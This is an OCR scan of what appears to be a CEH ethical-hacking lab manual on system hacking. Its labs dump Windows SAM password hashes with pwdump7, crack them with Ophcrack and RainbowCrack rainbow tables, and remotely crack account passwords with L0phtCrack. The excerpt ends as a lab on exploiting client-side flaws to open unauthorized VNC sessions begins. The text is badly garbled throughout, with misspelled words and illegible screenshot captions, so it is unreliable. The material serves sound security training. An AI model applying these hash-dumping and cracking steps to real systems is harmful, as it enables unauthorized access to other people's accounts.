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Systern hacksng & the science of testrng combuiters and wetwork for valverabilies and

Barmgfid plp-ms.
ab Scenario

Pa*-q"nr’l hacking i1z one of the easiest and most common ways hackers obtam
wanthorized compoter or petwork access. r";]_lmugﬂ suong paswos ds thar ae
c’u.ﬁ:mlt to cack (of priess) are easy to create and manmin wserns often neplect tus
Therefore, passorosds are one of the weakest lnks: m the mfoomaton-secrnty cham.
Passwond: ely on secrecy. Affer a passorord is compronmsed, its onginal owner jan't
the only person who can access the system with it Hackers have many ways 1o
obmin passwoods. They can obtam passwords from locd comprers by nsins
password-cmckmy soffoae. To ob@in passwoods from across 2 netwode, they can
nse femote crackng unlite: or networdk amalyzers. The labs in this modnle
demonstrate mat bow eauly hackers can pather password mformation from yons
netorods, and desenbe passowosd mlpembilites thar emst i comprrer netoodks, as
well a5 connrermeaznres w help prevent these tmlnesablines from bemg explomed
Of O STStens.
Lab Objectives
The objective of this Iab is to help smdents leam o monitor 3 system remotely
and to extract hidden files and other ks that mehade:
* Exrracong adminstrarive passwosds
*  Hiding files and extracting hidden files
* Recovenng passwords
*  Mlonitoring 3 system remotely
—Tesls Lab Environment
demenstrated in
this lab are To carry out thiz lab, you need:
available in -
D:\CEH-
TeslsCEHVE * A computer maning Wmdows Serves 2008

Madule 85 System
Haeking

A compurer maning Windows Serves 2012

A compnrter maning Windows 8.1 m Viemal machine
A computer monng Fali Timix m womal machine
Aweb boowses with an Interner connecnon
Admymsteanre pronlege to man toals

|.A'l -'L-'

= s
1D LMUratl

: 180 hMimses

CEH Lath Manusl Py Eshiral Hackding aml Counsernseasmes Copreggt + EE-Coonell
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Overview of System Hacking
The goal of system hackng i= to gam access, escalate prmleges execrte appheations,
and hade files.
Lab Tasks
Erask 1 Recommended labs to assist yon i system backeng:
Qverview v Dmmping and Cackng SAM Hashes o Extmcr Plaintext Passwerds
" Ceavng and Uzng the Rainkow Tables
" Andming System Passorords Uung LOphtCrack
Exploinng Chent Side Vilnerhilities and Establizhing 2 VNC Session
Escalating Privileges by Explomng Chent Side Vnlnemhdimes
Exploinng freeS5Hd Vulnerability and Gammng Access to a Target System

Hackng Windews 8.1 Uung hlemsplot and Pest Expleitation Uzng
Meterpretes
Srsrem Momtorng Using RemeoteExee
Uzer Srerem Montonng and Snoredlince Using Spytech Spyfgent
TWeb Actrry Moatonny and Recordng Unne Power Spy 2014
Hiding File: Uzng HTFS Streams
Find Hidden Files Uzing ADS Spy
Hiding Diam Uunge White Space Steganegraphy
Iomage Seganography Usng OpenStege
Image Stegancpmphy Tune Guick Stege
¥ Viewng, Enabling and Clearmg Andit Polices Using Auditpol

Lab Analysis

Amalyze and docnment the resnlts related o thes lab exercise Gve yonr opuion on
the tacpet’s secnary posme and exposnre.
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Lab

e o
ag o Extrac

7 can be wrad to dursd rovected fles. Yow con alvaye opy a :.-.;?:I'L,ﬁ& b
B f.ﬂr,g ﬂudf mr e - 2\ b keﬁa? dat Backb-lockediile. dat Obberack is a e
gben sorce (GPL fenred) progran that oracks g ¥ fuzier e by weing IM
hashar !‘.";‘-"ﬂ,‘sg.':‘ reinbon faber

L3 )‘ 'L_-'H--L anail -"

The Security Acconnr Manager [SAM) iz a dambase file present on Windows
machines thar stores nser acconnts :Lw:l SECTLHIT "IErs-Lﬁpmfc for nsers on a local
computer. It stores msers’ passwords in a hashed formar (in LA hash and
WTIM hash). Becanse a hash fonction 15 one-way, this promdes some measnre
of security for the stompe of the pazswords.

In a system hackng life cycle, atackers peperally donmp operating system
paszwosd hashes immediately after a comproouse of the tarpet machine, The
passwond hashes enable attackers to lanach 2 vasiety of attacks on the system,
inclnding pawm:mi cracking, pass the hash neanthorized access of other
systems nang the same passwords, password analvsis, and patrern recognition
in order to crack other passwords m the trpet environment .

Yo need 1o have admimstator access to dnmyp the contents of the SAM file.
Aszzezsment of passrord strenpth is 3 cnitical milestone dnring yone secnoity
assessmeent engagement oo will start yons password assessment with 3 umple
SAM hash dump and meoming i with 2 hash deerypror to nacover plamntext
passwogds.

Lab Objectives
The objective of this lab 15 to help smdents learn how to
*  Lse the pwdnmpT tool to exrmer password bashes

® TUse the Opbkerack tool to cack the passwosds and obmin pln tex
paszwonds
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Lab Environment

To carry ont the lab yon osed:

L/ Taal= ' Pwdump?, locared at D:CEH-ToolsCEHvD Module 05 System

demenstrated in i i
o — HaekingPasswerd Cracking Teels'pwdumpT

available in Opherack tool located at DRVCEH-ToolsiCEHvS Module 85 System
D:'CEH- HazhingPasswerd Cracking Teels'Opherack
ToolsiCEHVS BH _ e R
e 05 System Bna this ool on Wendowrs Server 212
Hacking You can also downoload the latest versom of podump? ot

A Al et e, S

can also downoload the latest verson of Opheack ar

herack sonrceforoe net/

Admimnstrative promleges to mn toals

Lab Durati

Time: 10 Mfimees

Overview of the Lab
PodumpT can also be nsed to dump protected files. Yon can always copy a used
file by ezecuting podnmpTexe -d cof\lockedfile dar backmp-lockedfile dat
Rainbowr tables for TAf hashes of alpharmmernic passoords are provided for fres
by the developers By defanlt, Opherack s bundled with tables thar allow it wo
crack passwords mot longer than 14 characters osing ooly alphammmernc
characters.

Rainbow tahles for L hashes of alpharmmenic passoroods ae provided for fres by
the developers. By defanlt, Opherack is bondled with tables that allow it to crack
passwords not longer than 14 chamcters tung only alphammene chamcters.

b Tasks
Clpen the command prompt, and namgate 1o D'CEH-Toels\CEHvS
Medule 05 System Hacking'Passweord Cracking TeelsipwdumpT.

Alrernatvely, you can navigate to DHCEH-Tesls'\CEHVS Medule 05

System Hacking'Passwerd Cracking TeelspwdumpT, oohr click

PwhumpT.exe, and select “CmdHere” to open the command prompt
= Aetive markrng to the Pordump 7 directory
directary
passwerds are
stered in the
ntds.dit file and
ewrrently the
stored structure

Administratoe Ch Wirdawssystem 32omd.2xe

FIGLRE L1: Censtmial fprempst at panhim T devctey
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Pl EXTREE LhF
Pcuna

Hd: RO PRETHGHD ss s asnmman s pmsmnmmen s BESSCALA R T0FL ERCL D ABRC2ELR

CLBAY R PSS Nl st S BOARASEN
T (e —————————

= Copy a used file
by executing
podumipT.exe -
eleckedfile.dat
backug-
leckedfile.dat.

FIGURE 12 praes

iHO . PSS RO ass s nuan | {0 I'I-H'.IZIH-
L1802 Al v e ne e mee a1 EE Y

whop TLEHE 1RO FRSTSW0H Beteb e s e s satied | RFECDE R

LIAE L HD PR G e s o s e v ie | EBRE
SN =D YR MM o e - e s s - = G 7

& FI5_Riikn g Faroissirl Crae i RH: sl T
1 ¢ G isbazhog

CEE+? Aouls B Bysken Hacha
b
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The above command will copy all the data of pwdumpT.exe to the
erhashes.tut file.

To check the generated hashes, navigate to 2l and open the hashes.txt
fila with Motepad.

Fashes. o - batepad |;|_':'.“

ERERET  BEABCASRABTATIA0F IEDCSA4ACISA04T ! 1

DA SEas AR EIREEL i SRR :SEAEFDFAATA0AAE ERAEF1FAAZRBOERTS : « ;
JgEybcgs: 1892 1 KD

ARRCOCO02225312 79 IEDGSGTHZRC 1825,

Y . D BO2S AL TIFAESCDOFSEITIDSI9B5RF: 1
1 s D
PASSWDROT ¥ T I rER R s e ar T et ey B34 BEA5F TEFEFIABIBBTSTIBASSIT 1 !

FIGLURE L& hashessxt welona

Now, we shall attempt to crck these password hashes with the
Opherack tool.

Erasx 2 . Nawigate to D:\CEH-Teols\CEHvD Module 05 System
HackingPassweord Cracking TeslsiOpherack and domble-click
Install Opherack epherack-wind2-installer-3.6.0.exe.

9. If an Open File - Security Waming pop-np appears, chick Next.
10. The Opherack installation wizard appears, click Next.

opherack 160 Setip |

Welcome lo the opherack 3 6.0
Selup Wizard

This wezard wil guide you through the irstallation of cohorad

ol ather sppl mbiors
s It O

Chck Mext o corinus,

FIGLRE 1% Ophasck metalabn wizsnl
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1. In the Cheose Components section nncheck all the o

ephcrack 360 Setup

Chioose Compsonent s

1o rsial and undhedi the componenits you danl't

Select comporen = bo retsl

FICAURE 1 Cpeeriadk malbotion wizand: Chisome Compammmts sstion
ow, follow the wizard-doven mstallation steps to install Opherack.

leting the msllation, lanoch Opherack application from the

H Lah M
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14, The Opherack muamn windowr appears, as showm m the followng seeenshot:
] =T
0 &

-

R R sahled for LM
tocsh f

vaing Poved foiard:

FIAURE 1R Cyshemack Mo ks

12, Click the Lead osean, and select PWDUMP file.

opfwrack

srs 0 &

ES N e —
[T —
O

vaing Poved foiard:

FIGETRE 1% Selectmg PRTILIMF S
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16. The Open PWDUMP file window appears Browse the PWDULMP file
{(hashes.txt located in €:21), which is already penerared by naing PWDTURET
n the premions steps.

17. Select the hashes.txt fila loczeed i C:, and click Open.

< Crpen PANDRIMP fite

¥ THEPC & Locsl DEE TS »

Orgniom = W foldar

naEgus
MEDCach:
Perllogs
Prragipm Fikss

- 3 Program Fikes fed
LJ-:'{ brerach i alwo i Program[Tata
awvababibe as Live 0 =

SFTP_Fosit
distriustons which

e

dusduicon

hashew bt

&l Files "7

Dgen |

FIGLEFE 110 Terpent the basfes fren PRTLUME e
18. Hazhes zre loaded in Opherack a5 shown in the folloming seresnshor
coherack =T

FIGLTRE 111 Hadhws mklad & Cphemad:
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[ Teals
demenstrated in
this lak are
availakle in
D=\CEH-
Teals\CEHvE
Module 05 System
Haeking

= Dphemck Froe mbie
art avabible o Wassdows:
XF, Vista sl 7.
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19, Click the Tables menm.

HaCkRhInO-TeaM !

Tabies

FIGLRE 112 seincting S Reienlsn tulie

MNote: You can download free P and Vism Ranbow Tables from

http: / /Ophermck sonscefome net /tables obp.

20. Table Zelection window appears; select Vista free and chick install.

c Table Selection

Table

& P free fast

Directory

& P fre=small
& 3P cpecial
AP gerrnan vl
P gerrnan vl
Vista special

Hekus
not install=d
not installed
not installed
not installed
not installed
not installed

[ |

Vista free

nct install=d

Jista nine

not install=d

Ineial ]

FIGUTRE 1.1% Trosalbryy veehs P cianbao ke
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21. The Selest the directory which contains the tables window appears.
Select the table vista free folder which is slready downloaded and kepr in
CEH-ToolsCEHVE Medule 05 System HackingPasswerd Cracking
Teols'Opherack, and chick Select Folder.

Sesact the directany which contairs the tablas m

| Salnct Folder

FIGLEE L Chisseng e thie
27 This mbles msm_fres 15 3 pre-compnted mhle for reversing: cryptogmphis
bash fanetons and recoverny a plaiatext passwonds up to 2 cenain lenpth.

23, The selected table vista free = installed noder the neme Vista free, which
15 mpresented by a green colored bullet. Select the tmble, and click OK.

| - Table Selection

Diractory
o]
alled
AP special netalied
iF gerrrian vl nstalfed
nstalled
nztalled

on disk

not instalfed
not installed
nat instaled
not installed
nat nstallsd

U R I N

Vista eighk XL not instalted

i = enshled & = disabled # =rotrstaled
A||1?’ |-'| 2 o,

FIGILRE 115 v bee corlicn tabile sosadad
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24 Click Crack on the menn bar Cpheack bepns to eack passooods.
ok e

0 @ { o]

14 characten |] ch
e the 1M hash w s

Pl ot

FRGTRE 186 Crickirg: e bostus
. Cracked passwords are displayed, a5 shown in the following sereenshot:

aphcreck

darm el Fownd

FIGLIRE L I7: s cracke] axeesbiy
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26. In real time, if an atacker attempts to explod 3 machine and escalate the

eroleges, he/she can obtain password hashes naung tools such as

PlWdnmp?. Br doing so, they can nse hash decoding tools lke
Ophemck to acqmure plain-text passwords

e ST )
LaD ANAlYSIS

Amnalyze all the password hashes pathered dnang this b, and fpnee one what the
password was.

O Yes

Platform Supported
1 Classroom
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Lab

Winrgen is a grapbical Baimbow Tables Generator that swpporty LM, Farl AL

NTIM, IMCHAIT, Halff MCHATT, NTLM (AT T, MSCACHE.
MD2, MD4, MD5, SEL41, RIPEMDT60, MySOL 323, MySOFSHAT,
CucPTX, ORACTE, SHA2 234), SHA4? .J.:.-J_ and SHA-2 12

hezsher.

RambonCrack ir @ combuter trogram that pewerater rambow fabls for wre o
pasrond cracking,

ano

Cnce an attacker gains acvess to a system’s SAM database dunp, the easiest and
fasted romte he or she can follow to ecover the plan texr passwod i5 o mse
minhoo thbles. A rambowr able i= a p:ew:cpuce-d table of all possihle combinations
of a given character set and their sespective hash valves, nsed for revermng
copptopraphic hash fanctions. Password cockes comypare the mminhow rable's
precompded bist of p-r:-':e-nu:ll hashes to hashed F:I.S"WD.IJ.'L m the dambase The
minhow able associates pluntent posubilines with each of those hashes, which the
armcker can then explort to access the network as an anthenticated nzer.

Ranbow tables make password eracking mnch fster than earher methods, such as
boee-force crackng and dicnonary amcks. However, the :I.PP"’ cach nzes a lot of
R"‘Id'n-e:oﬂ_e_m;gemnrdltsfdnmm such a mhle With the aﬂnl:l.tu];trcsf.a.fge
COMmpTting powes, Ton can gensate Impe minbow mhles that yon can nse for yonr
seenary and password andit asupnments.
Dbjectives

The objective of this lab is 1o show students how to creare minbow hles and
nse them to crack the hashes and obtzain plamn text passwords.
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[ Teals
demenstrated in
this lak are
availakle in
D=VCEH-
Teals'CEHvE
Module 85 System
Haeking

v ot

ol Wity s
s fararw remil i et

ahiml

HTAIK 1

Generate
Rainkaw Table
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Lab Environment

To caery ont this lab, o nead:
® A computer mnnme Window Server 2012
" Winmgpen Tool located at DHCEH-Teels\CEHvE Medule 05 System
HackingTeels te Create Rainkbow TablesWinrtgen

RzinbowCock Tool located at DsCEH-TeelsICEHVD Medule 05 System
HackingTeels te Create Rainkow Tabkles RainkewCrack

O download the latest verson of Winmpen at

bt/ oo omed it/ poojects himl

O: dowmload the ktest vemion of Bambowloack at ]

manhomremack oo/

If vou wash o download the latest version, then sereenshots shown n the
lab might differ

Admrsstranve provdeges to mn the tools

I =l BT LT e,
LaD Luration

Time: 10 Afimmtes

i I riaofF Ramb ar Tahls
Uvalrview Of R_ambow | ables

A mainbowr table is 2 pre-compuited table for seversing cryptographic hash fanctons,
typically nsed for cocking passwosd hashes. ‘Tables are nemlly nsed in reeovering the
plamtent passorood consisting of 2 lmited set of characters, up to a certain lenprh.

Lab Task

Navigate to DRCEH-Tools'CEHvD Madule 05 System HackingTeols to
Create Rainbow TablesWinrtgen, and donblechick wirntgen.exe.

If an Open File - Seeurity Waming pop-up appears, click Run.

The man window of Winmeen opens, as showmn m the folloming sereenshot:
T Wenrian 28 (inviom Tables Gengratort by mas. L1 0 N

3 ok

bddTabda | Aemzm | Aemovmid | ko

FICGLTRE 2 I Waertgn i wenich
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4. Click on Add Table button to add a new menbow able

15} Winmgen viB [Ranbaw Tabées Ganaratar) by mag

L

Witz czan abis
al Winetg:

Farara il

FIGURE 12 comating the werdry tabie
The Rainbow Table properties vindow appears.
i Select ntim from Hash dropdown bst
i SetMin Len as 4, hax Len as 6 and Chain Conat 4000000

gi  Select loweralpha from Charser dropdowm list (= depend: wpon
Password).

Click OK.

Rairbow Table propearties m

Haegh W Lsn Pl L il Chssn Lisr Chain Courd M of el by
i = IRF] | O n ] ADOOOCT i

Lzt

Jovssha i cta

o Tosls [t mparshasge
demenstrated in

Teble propsie=:

this lab are

: i Kap ipace 371 24128 kes
availakle in

Dok zpace: B1.00 MB

D:\CEH- Sutnacs piphablly 1326072 (RE1Y)
Teools\CEHVE
Medule 05 System T — _. ;
Hacking Steppesd

T a b oo a0 |

Talsl prmcompuislion e

Pl ol an b i

Eenchnak Dpkoniad pa ksl

FIGLME 1% Rambxre Tabde prcysernies weakn

With these settings, yon are creatng a munbow whle thar can be nsed to
crack only ntlm hashes contamng lewerease alphabetieal passwords
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8. A filevall be ceated and displayed in the Winrpen window. Click 0K

it ‘Winrcgen v2 A {Rambow Tatles Generator] By mao [ 'm

I T
3 nilvs_lrvoralphata 60 240040000000 _mad OO0 1

LJ Wins roust e ranalhal

o g hak space. A&
e tthle her

} Erinamen: Gt

st 613 MHB af yiour

beiers] e

ki Tabla | Awrcvw | FRemcvadll ! | ok Ed |
FICIURE 24 Coratug Resndons tabie

9. Winmgen begins to create the hash wmhle

Mote: Winmpen mkes a lot of tme to penemte hashes. 5o, to save time for Lab

demonstation, 2 prepenecated hash mble 1= kept at the locaton D:'CEH-

Toals'\CEHvE Medule 05 System HackingTeslk te Create Rainbow
TablesWinrtgen

10. The created hash mhle = saved astooatically in DRCEH-Teols'\CEHWI
Madule 05 System Hacking Teels te Create Rainbow TablesWinrtgen.

(=T
1]

FILLRE 25 Cewrend Ranbas b B
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11. This gensated tzhle 15 nsed i tools such as RanhowCack in order to cack
passwords of vanows lengths, depending on the hashes yon generate nung
TWinmpen.

2 Now, we shall try to use thess tahles and crack the password hashes wung
the RainbowCacdk tool

13, Nawigate to D:CEH-Tools'CEHvE Module 05 System HackingTeols to
Create Rainbew Tables'RainbewCrack, and donble—click rerack_gui.exe.
14, If an Open File - Security Waming pop-np appears, click Run.
15. The mamn window of RanhowCock opens, as shown in the following
screenshot:
i Falimommok 15 T="T= o)

Bl Gl Emrdss Tkl sl

mank Plalacaat Fladntaers in &s T

eracking bl

FIGLTRE 2 Rambamerck oo ek

16. To add a password hash in RanhewCorck cick the File mem, and chick
Add Hash...

i ek 1.5 =T= =]

I:I:I?.u'i:rm.\ ek bow CIPL
N N
-] acesierabid
e g
rogen oo syl GTL
wsir-foee ke

FEGRE 17 Chenssrg Ackd B cqstiem Fotwes Pl e
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17. The Add Hash dolog-hox appears, as showmn in the following sereenshor

FainoowCrack 1.3

AL Hah

worad ki s

gt uir brade-kmr

dgperehon

FRHELIRE 2R Ack] Hash cbabegp-le

18. Mavigate to efl and open the hashes.bot file (winch i= already genecated

:'I'l.illt 3
T e naing Pordump? in a previons lab).

Crack
the haches 19. Copr a passward hash from the hashes.bet file
; Piashes bt - Nobenad r=TomEm|

*%:EEEEGCHATFLICECFA
Dudele
St &1
Aight In left Fasdng orde
Show Unicoda control charscten
roar Uniczda ool charscber

pan [WE

FIGLRE 2% selatwyr #w luohe
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20 Paste it s the Hash field i RainbowCrack, provide a comment (optaomal),
and click OK.

RaimbowCrack 1.5

[Tesls
demenstrated in
this lab are
available in
D:=\CEH-
Teals'CEHvE
Madule 05 System
Haeking

FROFLIE 211k Adkbiogy Fladn

2. The slected hash iz added o RanbowCodk, as shown in folloveng
soreenshot-

Fainocr 10k 1.5 [=T= ]

Lr.l"l ne- iy -
o fenl i, ok

FIGLUTRE 2 10: Asklal Eopch drigiboyed o Rassd s mecke CFLTT

22 To add moe hashes, repeat above steps 16-20.
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23 Added hashes are showmn in the following screenshor
FalinonC ik 1,5 =15 Em]

o fede  Eaikwss Table Ll

FIGRE 212 Hashes jrestanmyr o il the ey atesias prosaronds

24 Click the Rainbow Table menm, and chek Search Rainbow Tables....

1

Rainbowrack 1.5

Edi | Rainbriss Tahils | Hep

Search Aanbow Tabies.

n

Seqrch Rpnbiony Talkes in Director

Saarch Aambow Tablm in P rofis-.

o
o
7
=

I:;-_I Rignlsmai “ack o
GilPL] sxafrenuer umes LiPL
freen NWIDA for

FIGMRE 2 13 Smmey S e namberr bl
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25. Boowse to the Rainbew Table, located in DCEH-TeoolsiCEHVS Module 05
System Hacking Taels ta Create Rainbew Tables Winrtgen.

26. Click Open

Fairiraw Telile G #

Drgereze ™ Pew Frdde

rtbm loweralpha -8 0 250003000000 ..
& Downkad

Facerd placan |

& Thyis PI
i Delbiop
Documsnte
& Downboads
L Ficturs

B Wides

vl % L,

ok I

File naemes | b loweralphasd-5_0_2400-500000 | | Ranbow Tables ("t e

dpm = Canced

FIGLTRE 2 §4& Choeang the maasdheesr tahie

27. As soon as you click Open, RambowCrack will crads the passwosd hash and
display passwords in plain text, as shown m the following sereenshot:

Rainoowlrack 1.5

Bin Ede EsnbowTabie Hik

FICILTRE 15 Fesfws sucerishully ceadi]
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Amnalyze and doenment the resnlts relared 1o thes lab exeroise.

O Yes
Platform Supported

[ Classroom
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Lab

Au

.L-:--:'E-:3 :':- ,r 1 é‘-i—_ﬁ ﬁ-l:,..i ':,

I OpheCrack dr a passvord auditng ool that comtainr fartwres suck ar rebecdiling,
bath exaraction frome 64-Bir Windmps tersions, J'*)'.'f.i’;'.‘.')-"ﬁ’-”‘.f.:-‘ﬂf alporithenr, and
HeTLORE Y 'GJ.'J'?M-",_;: and decoding. It can dmpert and crack UNLY pasmerd files
fFoms remote Wndons maachines

Lab Scenario

EBecante zecmsity and compliance are high poorities for most orpanizatons,
Amtacks on an crpamization’s compnter systems take many different forms, such
# Test your as spoofing, ﬁ.uujug and other types of Dental of Sernce (DoS) atacks. These
_ bowidzr  amacks are desipped to bacm or intermpt the nse of yons opeational systems.

infirumation

= Webememe  Pripodd cmck g 15 3 term used to descobe the penetmnon of a network,

L] Wodbook revienr  STSteM, o esomoce with or withowt the nze of wools o nalock a resonsee thar

T has been secured with a passwocd In this lab, we will lock at what passwocd
cracking 15, why attackers do 1, how they achieve their poals, and what yon can
do to do to protect yonezelf Throngh 2n exammation of several scenanos, in
thiz lab we descobe some of the technigmes ther deploy and the tools that aid
them in their assanltz and how password crackers work both internally and
externally to violate a company's mfrastmemee.
To be an expert ethical hacker and penetration tester, yon mmst noderstand how
to cock an administeator passooad. In this lab, we cmck system nses acconats
nanp L0phtCrack.

Lab ._,:|_~,.~.\ ctives

The objective of this lab is to help smdents leam how to

® Tie the IiphtCrack tool to attain mser passwoeds that can be easdy
cracked
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Lab Environment

To carry ont the lab yon need:

" LophtCrack tool located ar DR CEH-Teols'\CEHVY Meodule 05 System
HackingPasswerd Cracking Teels'LOphtCrack

ool TWindows: Serrer 2012 maning as a Host Machine

demonstrated in Windows Server 2008 maning as a virmal machine

this lak are P 2 3
waiabie in Ot download the latest version of TphtCeack at
D:CEH- bt/ e Wphterack oom

Tasls CEHvE n
Madule 05 System

Haeking

Adminsstrative pomilepes 1o o tools

. (TR —
.'..,.r:ﬁ"} LU -:.::1'.¢'|:

Teme: 10 Aommes

In this lab, being 2 secnaty anditor, yon wall be monng the LiphtCrack tool by
g the semote machine’s adnmmisteatos nser credentials. Tser acconnts passoonds
that are cracked in a short amonat of time e consdered to be weak, and yon need
to take cemain measmre: to make them stronger

In thes lah, we are mditng passwords on 3 Windows Server 2008 system

Lab Tasks

Log On to Windews Server 2008 wrmal machine from Hypes-V
manAper.

Hrask 1
Install and
Configure . Swratch back to the host machine (Windews Server 2012) and namgate

LOphtCrack 1o D:CEH-Tosls'CEHvY Madule 05 System Hasking Passwerd
Cracking Teels LOphtCrack. Dionble-click leésetup_vE.0.18.exe.
3. If an Open File - Security Waming appears, chek Run
4. Follow the wizasd doven nstallation steps to install TOphtCrack
Mote: At the ume of insmallanon, Pregram Compatibility Assistant pop-np
may appear. Click Clese, and continne with the installation.
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On completing the nstllation, lamnch LOphtCrack application from
Apps screen.

"& sacrfe Chaoms

' |ipheCract &
| Hroema

Wartne

B o Crvtenir
fror WA, Frogac

. Ahar Ly ﬂ MeronsE [

Crganies
. Check Far Updae ﬂ' W Eced
e
he apgplice prp——

If 2 Reminder pop-up prompts you to enter the key, press OK o

Omhinne

The LOphtCrack Wizard appear
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B. Choose Retrieve from a remete machine in the Get Encrypted

Y

Get Encrypted Passwords J

Passwerds secnon, znd click Hext.

Choose ane of the foliowsng methocs o relreve the:
enciypled pasgasonds

Ratilewa fram 1he oed maching

Fulli encrypted nazawards from tha local macshine's
? 1 regisiry . Admnisirator acosss s requred

Ercrypted I + Ratiigws from 2 iEmote maching
Faemonds Retneve ancrypied pasawardz from a remcta
mechine on your domain. Adminisdrelor sccess =
regLned
Retneve from SAK/STSTEM becoup
Una emerpency repair daks. backup tapee. or
waumes shadow copy lechniguss bo cbiein 8 copy o
tha regiary SA4M and STSTEM Hives. This canlans
a copy O your norsdomain passwonds.
Ratiigwe by grifing the lecal nebaark
Srifiing capiures emcrypled hashes i iarsi awer
your metwark. Logina, fie shamnig and prt eharng
& us= n=twork autteslicabon thal can be caphaed

Maxt »

FIGLIRE 1 % Gt Enerypriss] Pasrscech wizan]

9. Yon are setting thiz option for anditing passwords on a remote machine.
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10. Click the Strong Password Audit radic buotton from the Cheose
Auditing Methad secton, 2nd click Hext.

Y

Choose Auditing Method J

Guck Password Agdh

This mefhod checks oniy for smpls passwords that
o eould find i a dictiorany.

Cammon Passwerd Audt

. Thie rethed checka for smpks pasawords that wau
= Ll rack flem could find ma dchonany, &s well 25 common
E

modiicationz of dctionany worde.

merrchni o, i

st s

Srong Passward Aot

Thie method chiecka for emple passworde that vou
could find in a dictionary, comman modifications of
dictiarany wonds. and pedome 8 bnues force sttsch
thal at=mptr al cormbnatiors of fendend =Hes
and numoerz

Clgtom

FIGTRE L Chewe 3wy prasson m| sl wesinl
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11. In the Pick Reporting Style section, check all the options.
12. Click Mext.

,
Fick Reporting Stylc |
-

o [Dvanlay gaseworcs when audied

Waat of tha tima, youll wanl to hrow what tha
audied pasgworms &, but in some shustons, you
may wiah ta wadfy the aafaty of a password wihout
disclosing what 4 is. Check ths box bo view the
crackad pesaworts in the culput.

Chznlay enonpled passward hashes'

Chsck this boxto displey the enorypled pesowords
s they ore szen by the opemting systern. These
walues may be of intereel 1o some uees and o
other they maoy seem bos excess chitter. To
dignlay the snorypled pasewonds, checic this bas.

.T “h DphiCrack ha ned-
s ot e &
gkl in 1 g, tlibed
=rrriis | |+ |Disatay how lang t ook lo sudt each password
Chi=clareg 1his bow will add 1 calumm to the output
wieww thal shows how lorg L took fo audt sach
| passwveod
l}!ﬁtrlkp 7 |+ §lisnkay audting method
Repoting Check thiz bax to deplay tha method ussd ta find
Ryle eash pessword. - This can be ussiul 1or dentitying
users who Fawve pamicularty weak passwonds

| f¥akie vebla notificabon when auditing = dora

ek

WLTRE 3% Tk Reportivg Syle wican]
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13. On confipnrng all the options, click the Finish button in the Begin
Auditing secticn.

Y

Begin Auditing J

Lipht Crack B s now ready lo begin the passwond
audnng pocses. Pleass carfim tha followng ssthrgs
and go beck and change enyhing that is not coret.

- Hetneue paasanids fram s remoks machne
- Patliorm Stang’ pazsword aud]

Display damzin pazswond baiongs b
+ Drizplany pasavionds when audiced
- Display parswond hathes
- Dizplay e spent audlig azc pazswond
- Give weble ratication when dare sudiong
- Show method weed 1o clack pasawond

[+] Sewe these setiings na season defauks

Prege ‘Rrigh' Lo begin audting.

FIFLIRE Wi Begen Auxiivgwrrcas
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14. The LOphtCrack muain window appears, along with Impert pop-up, as

_Hrasx: showm in the following screenshot:
Crack System
Passwerds H‘ —

LphCiasds Passwnrd Auditor w013 - [nsdad 1]

- I-’ » l Acaknin
T B oguy 4
Fun - AR mpan Bagin  Pmar  Slag Sadan || Safedls Sadeko
Wosd Hmim Froe She Cizre Aagdd Tanks B 40

Impan

FIGLRE 3.7 Liph sack ricen washos

15. In the Impert pop-np, select the Remete machine radio-botton from
the Impert frem section, and click Add....

| mport

FIGLURE LR Irpaort wedow
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16. The Add Machine to Remete Impert pop-up appears. Enter the IP
address of the target machme (Windews Server 2008) i Machine field,
choose the sperating system (mn this case, Windews), and click OK.

Add Machine to Remote Import m

Machne= ||L-=[I|i

FIGLRE 3% Aukl Machee s Remoss: Frapo popeun

Mote: The TP addmess of Windews Server 2008 virmal machine is
10.0.0.11. Thiz may vary in your lab envizonment.

17. The Enter Credentials window appears. 3elect Wse specifie
eredentials for this machine option, enter the adoun nser credentals
of Windows Server 2008 (Le, Administrator, gwerty@123), enter the
Domain 15 CEH.com, and then click 0K

Enter Credentials m

Pleaze enter credenbals foran accourt wih
adminslave privieges on the machine:

10T
U e tha eradentiak of tha cumently lnoged-in usar

Ll z= the lssk zaved c=denhials o the mechne

I * gz spechic oredantizle for this machine |

Liser |-‘l.-‘.!u|r.':-k."

Pagzwond |""”'"'

Ciormain: |f.5_:-| aom

[ é.-]:_v; thaas credarbale forfoius uss

FIGLERE 3.1k Ester Cadetzils window
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18, Seleect the target machine, and click OK.

Impoart

Thiz import resthad netsavax tha sncrypied pamwvords
Framinatwodiad YWindows NT/ 2000200 rechras ar
Ltz mschines arwng ssh,

FIGLRE 3 11: Tenpeart wondin

19. The Precessing pop-up appears, and LOphtCmck bagins to esmblsh a
remote connection to the target maclne, as shown in the followane
sereenshot:

Frocessing...

Cormecing m remohe nachne

L=
B

FIGLURE 1 12 Torpsiat i

Mote: If a Please Register dualog box appears, chick Caneel; if 2 Waming
pop-up appears, chick 0K
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. Once the processing is comgplete, all the remote nsers are displayed,
along wath the cracked passvords (which in this case are weak), as
shown in the following screenshot:

LUpniLrack Fasewond Sudior w0 - Uil s

A RN

Pan=  Baw Soakn
Ot

| B TS

FIGLURE 1.1k Saxembally ¢rached prosons
21. 3o, you have sccessilly atamed wreakly confienred passwonds.

22 As a secnoty anditor/admmstrator, vou need to enforce strong: passwoods
for nser acconats, to avoid passwords bewng stolen

Lab Analysis
Duocnment all the results and separts gatheced during the lah.

O Yes
Platform Supported
[ Classroom
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Lab

frackers wse chent-side vwlwerabiliter to exploir snwparched roftuare, theraly

atiaring accers 1o the mackive on which the sofhuare & fnstalled
N o R - .
ICOH HEY Lab Scenario
J Valnahle VN enables atrackers to remotely access and control eompntac targeted from
= another CompIEr Of mohbile device, whersver they are m the wodd. At the same
# Testrom time, it i% also nsed by network adommistrators and orgamzatons thronghons

Imcradze every indnsery sectos fora ranpe of different scenarinz and nze cases, inchnding

B web e ﬂ'crﬁr_‘u..g IT ':l.E;}IDP mpport o E‘D]].E:I.g"-é: and friends, and accesung systems
~—  and services on the move Here we will see how attackers can ESP].D::I:
ulnerahdlities in target sTstems to establish noanthorized VINC sessions and
emotely control these targets.

= Wadbook review

Lab Ubjectves

The ohjective of this lab is to help smdents learn how to explon chient-ude
' Toals vulnesabilines and esmblish a VN session

demenstrated in
this lab are
:-:IE::IE 2 To carry this out, yom need:
Tasls'\CEHVD u
Medule 5 System
Hacking ®  KalhLimx monsng m Vimmal machne (Atacker AMachine

d - -- i
1 ah Frwironmiand
LanD cihwironimant

A compnter mnning Window Serves 2012

" Windows 7 mnning mvirmal macksne (Vietm machme)
A web booorses
Adomrdstratve prleges to mn tools

FCON

Durat

Teme: 10 Xliomres
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This kb demonstates the exploiation procednse enforced on 2 weally patched
